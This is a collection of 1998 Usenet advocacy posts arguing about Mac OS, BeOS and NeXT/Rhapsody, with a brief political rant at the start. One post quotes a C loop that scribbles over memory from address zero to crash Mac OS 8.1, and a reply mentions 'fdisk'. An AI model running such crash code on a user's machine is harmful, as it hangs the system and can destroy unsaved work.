> family budget, larger than food and shelter combined.
You left out credit card debt, which is probably bigger than
food and shelter combined in many households. Of course, the
banks don't want to take responsibility for their unwise
lending.
> Yes, you are correct, many of us see libertarianism as leading to
> anarchy. If by anarchy you mean society without government.
And if you believe that's a good idea, you're a foolish utopian.
Just like Lenin, the idea ignores human nature as a greedy,
short-sighted, destructive species. Businesses behave the
same way, yet libertarians invest business and the markets
with nonexistent wisdom, as if suddenly they'll stop
behaving the way they always have.
And then there's the simple fact that power abhors a vacuum.
If an anarchic state did arise, it wouldn't last a year. Factions
would develop, and the better-armed faction would seize power.
Oops - there go your liberties, peasant, now go plow the
back forty. Next thing you know, you're back to a hereditary
monarchy and feudalism.
Sounds like fun. I can't wait. The libertarians will learn
what real 'force' feels like, and it ain't the IRS. Or
Janet Reno for that matter.
Libertarians remind me of pampered suburban teenagers
complaining about their woeful lives even as they pay
for $150 sneakers with daddy's visa.
> > Or sell them 200% of a bogus company?
>
> Why, that would be fraud.
>
> You ought to be sued and probably punished as well.
You probably don't care, because you won't be around. Off
to Rio, with the money. (And in an anarchic world, there'd
be no extradition.)
> Given that the Russian government has laws on the books making it a
> criminal offense to be a capitalist (ie tax rates over 100% on some small
> businesses), I think the Russians had best keep their government away
> from their exchanges.
Of course. The mafia is much better suited to running them. You
wanted anarchy? Try Russia.
--
"... and subpoenas for all." - Ken Starr
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Corey <corey@virtual-impact.com>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6p0me6$qrb$1@nntp2.ba.best.com>
Message-ID: <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Tue, 21 Jul 1998 00:47:22 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 17:47:22 PDT
Organization: @Work Internet powered by @Home Network
On 21 Jul 1998, Kenneth C. Dyke wrote:
>
> Actually, in this case it's just a matter of allowing more control over
> thread setup, which seems simple enough to me. I'm not sure why it
> hasn't been done yet, since this problem was reported at least as far
> back as DR8 or so. It (or a related bug) got marked as 'will not fix'
> if I remember right. You can draw your own conclusions from that I
> guess.
>
Why the hell wouldn't they want to fix that? Interesting, and a bit
disapointing.
Beers,
Corey
corey@virtual-impact.com
Date: Mon, 20 Jul 1998 21:08:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2007982108170001@elk57.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu>
> In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
> eilersm@psn.net wrote:
>
>
> > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > old--they don't even get tech support. Try to call Apple right now and ask
> > them for help with your IIsi.
The IIsi was discontinued in 1991 and is comparable to a 386. What major
OS is supported by the vendor on a 386?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6p0me6$qrb$1@nntp2.ba.best.com>
Message-ID: <Pine.BOS.3.96.980720194737.225A-100000@fbnp>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Tue, 21 Jul 1998 01:11:08 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 20:11:08 CDT
On 21 Jul 1998, Kenneth C. Dyke wrote:
>>Forgive me for jumping in late, I leave for the weekend and suddenly
>>c.s.b.a has been flooded with cross-posts. Anyways, how did Mr.
>> Kenneth Dyke arrive at the conclusion that the BeOS had a limit on >
>>the number of windows?
>
>The first time I ran into it was when I tried seeing what would happen
>if I did something 'stupid' and opened up a lot of windows, causing my
>system to effectively hang. Actually, it only sorta hangs, but you
>can't bring up any more menus, etc.
How many windows? What application? What kind of computer do you have. I
once did the same thing you described with an app I designed. All of the
windows were "bare-bone", i.e., each one did nothing. I got tired of hitting
Cmd-N at about the 200th time and quit the app and watched as all those
windows closed. The only thing that really slowed down my 210 Mhz 604e were
the screen redraws (lots of redraws).
But then again, any program that does something 'stupid' like that will end
up in the trash.
>There can be 4096 threads in the system as a whole, but any given team
>can only have so many threads before it runs out of VM space.
>
>The limit (as has now been explained countless times) is because the
>app_server in BeOS runs out of virtual memory space it can allocate for
>the stack space for new threads. Each thread in BeOS currently uses
>256K of virtual memory space (sparsely allocated, mind you), and there
>is only a fixed amount set aside in each team's memory space for stack
>allocations. So somewhere between 200 and 300 threads is the current
>limit for any single team.
I thought in R4 developers will be able to specify a stack size when a
thread is spawned. I could of sworn I've seen this in the bug database but
the search page is broken... again.
>Actually, in this case it's just a matter of allowing more control over
>thread setup, which seems simple enough to me. I'm not sure why it
>hasn't been done yet, since this problem was reported at least as far
>back as DR8 or so. It (or a related bug) got marked as 'will not fix'
>if I remember right. You can draw your own conclusions from that I
>guess.
Try contacting devsupport@be.com because I'm sure this is getting
implemented in R4. If not, they're the people to advocate to, not this
newsgroup. Tell them why you need that feature. Unlike Apple, Be listens to
their developers. ^_^
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
Date: Mon, 20 Jul 1998 21:11:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2007982111440001@elk57.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org>
In article <slrn6r7n34.16k.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >> Want prof?
>
> Only if she's cute.
>
> >>Try this on your "stable 8.1":
>
> >> main() {
> >> long*addr=0;
> >> while(1) {
> >> *addr++=1;
> >> }
> >> }
> >>
> >> Don't forget to save any unsaved work before....
>
> >BFD.
>
> No, it is a big deal if there's a bug in your Microsoft (or Netscape)
> program (or any other program).
>
> >Try this:
>
> >fdisk
>
> As root - only. A sensible user doesn't do day-to-day stuff as root.
What's your choice if you're running Win95?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 01:00:37 GMT
Organization: University of Waterloo
Message-ID: <900982787.913613@globe.uwaterloo.ca>
References: <35AD3399.FF0BD03D@rauland.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com>
Cache-Post-Path: globe.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <6p0me6$qrb$1@nntp2.ba.best.com>,
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
>
>Actually, in this case it's just a matter of allowing more control over
>thread setup, which seems simple enough to me. I'm not sure why it
>hasn't been done yet, since this problem was reported at least as far
>back as DR8 or so. It (or a related bug) got marked as 'will not fix'
>if I remember right. You can draw your own conclusions from that I
>guess.
>
I've heard from several Be folks' posts to BeDevTalk that spawn_thread()
will get a new version with user-settable stack sizes "soon", perhaps for R4.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 18:55:58 -0700
Message-ID: <see-below-2007981855580001@dynamic53.pm04.mv.best.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com>
In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>
> > 20 year + cars are a minute part of the cars in use.
> > 2 year + old macs are the vast majority of macs in use.
>
> You missed the point. A 20-year-old car is not expected to be cutting
> edge. Neither is a 2-year-old Mac (or any PC.) Mac OS X is going to be a
> *cutting edge* OS--and Apple will provide 8.5, 8.6 and 9.0 in parallel
> with OS X as an excellent (but limited) way for non-cutting-edge Macs.
I think your comparison is way off here. Despite fast changes in
technology, I would be more likely to compare a 2-year-old Mac to a
5-year-old car in terms of resale value, likelihood of being replaced,
etc., not a 20-year-old car. (See next paragraph for an examply of why.)
> > If that wasn't the case the installed base of macs would be very small
> > indeed given the sales of the last two years....
>
> Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> old--they don't even get tech support. Try to call Apple right now and ask
> them for help with your IIsi.
Okay, by your reckoning, a IIsi is the equivalent to a 1918 car. Is this
really reasonable? I'd think a 1978 model would be a more reasonable
comparison. That means a 2-year-old Mac is more like a 1993 car, not a
1978. This seems fair--a 2-year-old Mac would include a Power Center Pro
240, which is pretty darn good even by today's standards (especially if
you put a G3 processor in it), with very little to distinguish it from a
G3 PowerMac of today (60MHz bus vs 66MHz, whoop-de-doo).
> One more time folks, just for fun: Mac OS X is a *cutting edge* OS. Not a
> typical user OS. Not a have-to-have-it OS. Not a fun bleeps and bloops and
> "ooh, don't my windows look cool!" OS. Only those on the cutting edge are
> going to need it, and only those on the edge will get it.
I've heard this refrain so many times I want to puke. Only "cutting edge"
people need PMT, or memory protection? The rest of us are better off
freezing, crashing, and otherwise stumbling along in our daily computing?
As stable as MacOS 8/8.1 are, they still crash too much, the multitasking
still sucks donkey eggs, memory fragmentation is truly annoying, virtual
memory still doesn't work very well, and performance is usually much more
sluggish than it should be. But that's somehow better for users who aren't
"on the cutting edge?"
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 18:58:18 -0700
Message-ID: <see-below-2007981858180001@dynamic53.pm04.mv.best.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net>
In article <joe.ragosta-2007981850280001@elk61.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Michael M. Eilers <not@a.valid.email.add> wrote:
> >
> > > is a VERY long time away. The ones who are not will stick with Allegro and
> > > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
> >
> > Because 8.1 is so obsolete it isn't even funny?
>
> So obsolete that it has lower TCO and higher productivity than any form of
> Windows.
I don't think he was comparing it in overall usefullness to Windows. I
agree, _overall_ I'd rather use MacOS than any other OS available today.
But it's like choosing the lesser of several evils, each with a lot of
tradeoffs, because face it, in a lot of fundamental ways, MacOS does suck,
and it is unquestionably obsolete.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 01:54:36 GMT
Message-ID: <6p0scs$1ab$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp>
In-Reply-To: <Pine.BOS.3.96.980720194737.225A-100000@fbnp>
On 07/20/98, Tyler Riti wrote:
>
>Unlike Apple, Be listens to their developers. ^_^
Yeah, obviously Apple wasn't listening at all when they decided to do
Carbon to assist existing MacOS developers instead of forcing them to
rewrite everything. They also apparently weren't listening when they
added stuff like NSDocument, NSWindowManager, NSUndoManager, etc. to
DR2 YellowBox.
They also weren't listening to users when they upgraded the modem in
the iMac to 56k from 33.6k.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162>
Message-ID: <35b3f756.0@news.depaul.edu>
Date: 21 Jul 98 02:05:10 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> The engineers in charge of this project, with 1/100th the budget, managed
> to get the NeXTstep OS working on a reasonable subset of the plethora of
> WIntel systems, AND their own hardware of all generations AND at least one
> or two other hardware platforms from other manufacturers besides.
It could well be that all those Mac models present more difficulty
than all the platforms NeXT ported to. That old Apple 'advantage'
of controlling hardware and OS bit them on the ass, since they
never bothered (until the G3's) to manage change. Anything the
hardware designers felt like doing, they did, sometimes for just
a single model. Changes were supported by patching the OS, a
huge mistake resulting in bugs, crashes, and long-term
maintenance nightmares - for both Apple and third parties.
> Are you trying to tell me that the NeXT engineers lied to Amelio when they
> told him that they could make Rhapsody cross-platform, including whatever
> kernel changes that they decided to make? Or maybe you're telling me that
> switching versions of the same basic kernel is tougher than switching the
> hardware?
We're telling you that the old Mac hardware was as crufty as MacOS.
That's why there are so many model-specific bugs, and why Apple
relied on model-specific enablers to patch the OS to make each
model work. This creates a situation ripe for bugs. Those bugs
would have to be found and repaired *again* in OS/X, and the
MacOS patches might not even work on OS/X, due to the presence
of protected memory.
And, those OS/X fixes would have to be tested, and fixed, and
maintained, and re-fixed, and debugged, and regression-tested, etc,
as the OS continues to develop, which is an enormous amount of work
when multiplied by all the different models.
--
"... and subpoenas for all." - Ken Starr
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Following up on a prediction...
MIME-Version: 1.0
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References: <rmcassid-1607981527460001@dante.eng.uci.edu>
Message-ID: <SISs1.5751$7k7.6580623@news.rdc1.sdca.home.com>
Date: Tue, 21 Jul 1998 02:06:42 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 19:06:42 PDT
Organization: @Home Network
In <rmcassid-1607981527460001@dante.eng.uci.edu> Robert Cassidy wrote:
> Waaay back when (May 18), I made these silly predictions and was just
> wondering how I did:
>
>
> In article <rmcassid-1805981655100001@dante.eng.uci.edu>, Robert Cassidy
> <rmcassid@uci.edu> wrote:
>
> >I'll go one better. No money behind it - why gamble with you guys when I
> >can just buy the stock...
> >
> >$45 by August 20. $60 by Jan 20 1999.
>
> Well, these remain to be seen...
>
> >Other predictions, but less thought out:
> >
> >I wouldn't be too surprised to see $27.5 near term, but nothing lower.
>
> We saw $26.5 or a little less. Close, but a little too off considering the
> time frame.
>
> >Rebound to the 30's within 2-3 weeks.
>
> It took 6 weeks. Blech.
>
> >$35 before Macworld
>
> $32 during Macworld, but no better. I had thought we would get new G3s by
> MacWorld, and certainly by iMac roll-out, but it seems that'll be saved
> for Seybold as to not get lost in the iMac glare.
>
> >$38 before earnings,
>
> $37.5 after earnings... pretty pleased with this. At least I was in the
> neighborhood. I had thought Powerbooks would have more impact, but
> production problems got in the way. To add insult to injury, I still
> haven't gotten the one *I* ordered.
>
> >slow runup to $45 as weak 1998 quarters are behind and big Q4
> >iMac earnings are ahead. Watch for upgrades this quarter.
>
> Two upgrades so far... I don't _think_ we'll hit $45. But I'm hoping for
> $40 by iMac rollout. We should see a rollback from where we are, though,
> unless some earnings increases come out or some further upgrades.
>
> Q4 should be nice and show growth and Q1 should be even better. I'm
> sticking by my $60 estimate for now.
>
>
And Summer isn't over yet. I'm waiting until after August and the boys in
New York on Wall Street are back from the Hamptons and Martha's for awhile.
:-)
-r
Rex
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998072102131700.WAA25384@ladder03.news.aol.com>
Date: 21 Jul 1998 02:13:17 GMT
Organization: AOL http://www.aol.com
References: <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
A brief quote from a past which Steve Jobs seems to've forgotten:
"The Macintosh has been dead in the water since 1985 in terms of its user
interface."
Steven P. Jobs
Byte, September 1995
::sigh::
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 02:22:29 GMT
Message-ID: <6p0u15$28f$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp>
In-Reply-To: <Pine.BOS.3.96.980720194737.225A-100000@fbnp>
On 07/20/98, Tyler Riti wrote:
>On 21 Jul 1998, Kenneth C. Dyke wrote:
>
>How many windows? What application? What kind of computer do you have.
It was somewhere above 200 (230?) with StyledEdit. NetPositive seemed
to barf with less than that for some reason. My system is a PowerTower
Pro 225, 128MB of RAM. I can go get exact numbers for R3 if you'd
like.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6p0scs$1ab$1@nntp2.ba.best.com>
Message-ID: <Pine.BOS.3.96.980720211635.1874A-100000@fbnp>
References: <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp> <6p0scs$1ab$1@nntp2.ba.best.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Tue, 21 Jul 1998 02:30:13 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 21:30:13 CDT
On 21 Jul 1998, Kenneth C. Dyke wrote:
>>Unlike Apple, Be listens to their developers. ^_^
>
>Yeah, obviously Apple wasn't listening at all when they decided to do
>Carbon to assist existing MacOS developers instead of forcing them to
>rewrite everything. They also apparently weren't listening when they
>added stuff like NSDocument, NSWindowManager, NSUndoManager, etc. to
>DR2 YellowBox.
Hey hey hey... I am just as much a Mac user as you. I was even a MacOS
developer before I started developing for BeOS. What made me switch? At the
time, Be's fees for becoming a developer were zero. Apple? $250 for the
cheapest program. When you're a starving college student, stuff like that
matters. Of course, now things are a little different but Be's dev program
still remains a good deal because you get the full version of Codewarrior
for free. You give a little, you take a little.
Either way, you are right. As of late, Apple has had its finger on the pulse
of the consumer market. Nevertheless, a wound takes time to heal. The scars
still exist but with the right moves, they will be forgotten.
>They also weren't listening to users when they upgraded the modem in
>the iMac to 56k from 33.6k.
I've heard that the iMac uses a software modem so this would be very easy to
do. Of course all of this is hearsay so somebody could of just pulled this
out of their @$$ or something.
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: observations from atop a slab
MIME-Version: 1.0
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References: <6op0vm$eep$1@birch.prod.itd.earthlink.net> <6oqcd4$h22@newsb.netnews.att.com>
Message-ID: <4VSs1.5752$7k7.6580623@news.rdc1.sdca.home.com>
Date: Tue, 21 Jul 1998 02:19:44 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 19:19:44 PDT
Organization: @Home Network
In <6oqcd4$h22@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
> d. Maybe Apple should put the Yellow Box into the free source code
> domain, like Netscape did with the browser. Also, seriously
> consider "WebObjects for Linux".
>
> -arun gupta
>
Here Here !! Second an OPEN SOURCE strategy for YB... WebObjects for Linux
is a question?\
-r
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 23:32:23 -0400
Organization: none
Message-ID: <id_est-2007982332240001@192.168.1.3>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <see-below-2007981959240001@dynamic53.pm04.mv.best.com>
In article <see-below-2007981959240001@dynamic53.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> But this "it absolutely won't run on anything except a G3" when they were
> selling brand new 9600/350s even in 1998,
Who said "it absolutely won't run on anything except a G3"?
What I heard and engineer say (at an OS seminar at MacWorld) was that they
weren't working on anything but G3 support at the moment and couldn't
promise that it would run on on older hardware.
This is quite different than "it absolutely won't run on anything
except a G3"
Message-ID: <35B40D27.6366@cyberdude.com>
From: Jean-Baptiste Queru <djaybee@cyberdude.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>
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Date: Tue, 21 Jul 1998 03:38:12 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 20:38:12 PDT
Organization: InReach Internet
> Forgive me for jumping in late, I leave for the weekend and
> suddenly c.s.b.a has been flooded with cross-posts. Anyways,
> how did Mr. Kenneth Dyke arrive at the conclusion that the BeOS
> had a limit on the number of windows? AFAIK, in the BeBook, it
> doesn't mention any sort of limit. The only thing I can think
> of is the limit on the number of threads which is somewhere
> around 4096, IIRC. Since each window spawns its own thread,
> theoretically, there is a limit of 4096 windows. In reality,
> that isn't true since there are most likely other threads
> running at any given time.
Here is some more data:
-A window spawns *two* threads (one in the app_server) and one in
the app. I think that a window might also open one or two
ports to communicate between the two threads.
-There is currently another limit: 256 threads per team. (and
the app_server itself is a team). Considering that the app_server
has some private threads around, this must set a limit around 240
windows. (which is something like 20 windows per workspace if you
use 32 workspaces).
-A bitmap that can accept BViews is seen as a window by the server.
